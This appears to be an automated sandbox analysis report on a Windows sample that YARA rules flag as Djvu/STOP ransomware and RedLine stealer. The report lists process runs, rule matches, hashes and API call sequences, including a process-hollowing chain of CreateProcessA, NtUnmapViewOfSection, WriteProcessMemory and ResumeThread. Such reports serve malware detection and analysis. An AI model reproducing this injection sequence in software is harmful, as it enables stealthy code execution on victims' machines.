Start time:	17:47:02
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	19F46C713419F534C1532645B764C7B4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.1746596896.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.1746596896.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.1745411622.0000000004458000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:47:02
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	19F46C713419F534C1532645B764C7B4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:47:28
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	19F46C713419F534C1532645B764C7B4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.2010099363.00000000041E8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:47:29
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	19F46C713419F534C1532645B764C7B4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	44.7%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05E20110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05E20156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05E2016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05E20255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05E20270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05E20283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05E2029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E202C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05E202E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05E20304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05E2032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05E20399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E203BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05E203E1
ResumeThread.KERNELBASE(00000000), ref: 05E203ED
ExitProcess.KERNEL32(00000000), ref: 05E20412

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 782cea85eb1c9749d6a0571aab0b746e9c814a5c2f08d68028def788e8b28541
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 7DB1C774A00208AFDB44CF98C895FAEBBB5FF88314F248158E549AB395D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 045E27C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 045E27EE
Module32First.KERNEL32(00000000,00000224), ref: 045E280E

Memory Dump Source

Source File: 00000000.00000002.1629076133.00000000045E2000.00000040.00000020.00020000.00000000.sdmp, Offset: 045E2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45e2000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: e835fa35a30962468579c8949857134d5956c3a6aea7e2568171f29a5427ba4f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 43F062312007116BE7243FB6AC8DB7A77ECBF89725F1005A8F642914C4DA70F8465661

Uniqueness

Uniqueness Score: -1.00%

Function 05E20420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05E20533

Strings

saodkfnosa9uin, xrefs: 05E204DA
d, xrefs: 05E20584
0, xrefs: 05E20492
mfoaskdfnoa, xrefs: 05E20520, 05E20523

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 792306502af9fa95223b945226a04698a867220a69006b2067cd45e7e092a4f7
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 03510A70D48388DAEB11CB98C849BEDBFB26F11708F144058D5847F2CAC7BA5558CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05E205B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05E205EC

Strings

apfHQ, xrefs: 05E205E2, 05E205E5
o, xrefs: 05E20600

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: d36ed7cd70911b439cbf055fe0822810066bf21070a2fa9b38661547b248cf12
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: CB011E70C0425CEEDF10DB98C5583AEBFB5AF41308F188099C4492B385D7B69B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 045E2485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 045E24D6

Memory Dump Source

Source File: 00000000.00000002.1629076133.00000000045E2000.00000040.00000020.00020000.00000000.sdmp, Offset: 045E2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45e2000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 3c8403534d18acfe99edd060ab573dd5e11ddd61b1c7bf87d02fba752f867367
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 04113C79A00208EFDB01DF99CA85E99BBF5EF08350F058095F9489B361D371EA90EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05E3F030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E3F0A7
_wcsstr.LIBCMT ref: 05E3F14E
_strstr.LIBCMT ref: 05E3F3D6
_malloc.LIBCMT ref: 05E3F526
_memset.LIBCMT ref: 05E3F534
_strstr.LIBCMT ref: 05E3F57A
_malloc.LIBCMT ref: 05E3F6F5
_memset.LIBCMT ref: 05E3F703
_free.LIBCMT ref: 05E3F7B5
_free.LIBCMT ref: 05E3F7C2

Strings

", xrefs: 05E3F640

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 5c558280f5c4bd3094a2e6481932325782d31acb4d1edb59479df7abce214e86
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: B442D071908340ABEB20DF24DC4DBAB7BE8BF85304F04192DF5D997191EB799509CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05E300D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: abaec2d26018170fa24e94e4d6c8a8a488624e9f48d5029b22df812d43985aea
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 52527071D00218DBDF14DFA8D88EBEEBBB5BF04308F105169D499A7250E735AA49CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05E2E6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 05E2E72D
_wcsstr.LIBCMT ref: 05E2E756
_memset.LIBCMT ref: 05E2E784

Part of subcall function 05E6FC0C: std::exception::exception.LIBCMT ref: 05E6FC1F
Part of subcall function 05E6FC0C: __CxxThrowException@8.LIBCMT ref: 05E6FC34
Part of subcall function 05E6FC0C: std::exception::exception.LIBCMT ref: 05E6FC4D
Part of subcall function 05E6FC0C: __CxxThrowException@8.LIBCMT ref: 05E6FC62
Part of subcall function 05E6FC0C: std::regex_error::regex_error.LIBCPMT ref: 05E6FC74
Part of subcall function 05E6FC0C: __CxxThrowException@8.LIBCMT ref: 05E6FC82
Part of subcall function 05E6FC0C: std::exception::exception.LIBCMT ref: 05E6FC9B
Part of subcall function 05E6FC0C: __CxxThrowException@8.LIBCMT ref: 05E6FCB0

_wcsstr.LIBCMT ref: 05E2EA0C
_memset.LIBCMT ref: 05E2EE5C

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: d63556e8e7ec00ae6e2c9e04fc6a680c9233549f714b2dfe4795b30d3f038908
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: 3D52C071A002299FDF24CF68C894BBEBBFABF04304F145569E886AB385D7319945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05E30B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: ee8597b1f4630ea084ffaad00b0de32d83a05f199a0671557717c453c7e5384c
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: ED427B70E00218DBDF14DFA4D84EBEEB7F5BF04308F605169D495A7290E732AA49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E2DBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: e7460c86e775fb0ae530518c29fcdb0fcd27d86e5c6bd180fd04ec29878066a6
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: E9528471E00229DFDB14DFA4C849FEEBBB9BF49304F149198E545AB254DB30AD46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040A32F Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,0040A3C1,004142EC,00000001,?,0040A4D8,004142EC,00000017), ref: 0040A334
UnhandledExceptionFilter.KERNEL32(004142EC,?,0040A3C1,004142EC,00000001,?,0040A4D8,004142EC,00000017), ref: 0040A33D

Memory Dump Source

Source File: 00000000.00000002.1626366057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1626252388.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626387788.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626406555.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626423567.000000000041C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626423567.0000000000421000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626508989.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626508989.000000000409F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1628486599.00000000040A1000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_n8XBpFdVFU.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 201c1a21d9426f2c703b029de822ecd4bba0d46c1206059840ca0e40a68c95d5
Instruction ID: 307cec53737e5789a00372f04ba6450ea43eb2a69cdbc6aada34296422148bc5
Opcode Fuzzy Hash: 201c1a21d9426f2c703b029de822ecd4bba0d46c1206059840ca0e40a68c95d5
Instruction Fuzzy Hash: F8B09231044208BBCA026BE1ED09BC83F28EB09672F118020FB4D84060CBA294608BA9

Uniqueness

Uniqueness Score: -1.00%

Function 05EA22C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 05EA291E

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1eba52808fdaac2a6e28347d038aecd71c23894f5ca11dedacbd3fd991aed6a1
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: B9327FB5E002299BEB619F74CC44BAEB779FF44704F0041EAE68DB6191DB709A808F59

Uniqueness

Uniqueness Score: -1.00%

Function 00405A52 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(004043B2,004199F8,00000014), ref: 00405A52

Memory Dump Source

Source File: 00000000.00000002.1626366057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1626252388.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626387788.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626406555.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626423567.000000000041C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626423567.0000000000421000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626508989.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1626508989.000000000409F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1628486599.00000000040A1000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_n8XBpFdVFU.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 081ec2ec137315d3414483874fd228c86ddc5d7dd3c61009788d722e11c637b4
Instruction ID: 54fe6d005b3de050a49a987dec14c28930b854bd19a90cd17c6079e62ba40fb2
Opcode Fuzzy Hash: 081ec2ec137315d3414483874fd228c86ddc5d7dd3c61009788d722e11c637b4
Instruction Fuzzy Hash: 6EB012F03031028747088F397D1815939D4674C202300823D7003C11A0DF60C460DA08

Uniqueness

Uniqueness Score: -1.00%

Function 05E25DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: 2ea95bf3fedfc6d517db21c9bd43c0962f973dd64ed34bff10f28cd6be8b7c8a
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: D842BF71629F119BC3DADF24C88055BF3E1FFC8218F048A1DD99997A94DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 05E2A026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: b0c2707721a603b43b7bbcc5a5a1606bea90a4e1046c4c9f533af88d85d1cbf9
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 1122EFB6908B128FC714CF19D08055AF7E1FF88324F558A6EE8A9A7B14D730FA55CB81

Uniqueness

Uniqueness Score: -1.00%

Function 05E22B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 05E23520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: 4a66f563c1b26454bba47df6b321618278347dac9e436e1e658e4a44302eb4db
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: 8A026D715187058FC756EE0CD49035AF3E2FFC8309F198A2DD68987B64E739A9198F82

Uniqueness

Uniqueness Score: -1.00%

Function 05E289D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 77cbf0bb75adb259f6cc20947c9607f65af2b085d6b2c046c1e563611f735206
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: 72C12873E2477906D764DEAE8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 05E2B0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: 52227004e9322766340071286bfd06283d5e3a3a31f89ebf8f0ea18ec0e372e3
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: 89A1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 05E230F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 05E2CA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: c7bd979856451b3dfe41bcd9a23a29a5fb702c91e6e9d541c5a06a09bc05a34a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 96C19DB5E003599FCB54CFA9C881AEEFBF1FF48204F24856AD959E7301E334AA458B54

Uniqueness

Uniqueness Score: -1.00%

Function 05E25DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: 740717ac2d815e3c52ebc51457df207109b5cfe804fa0630bcbc6cca03f64b72
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
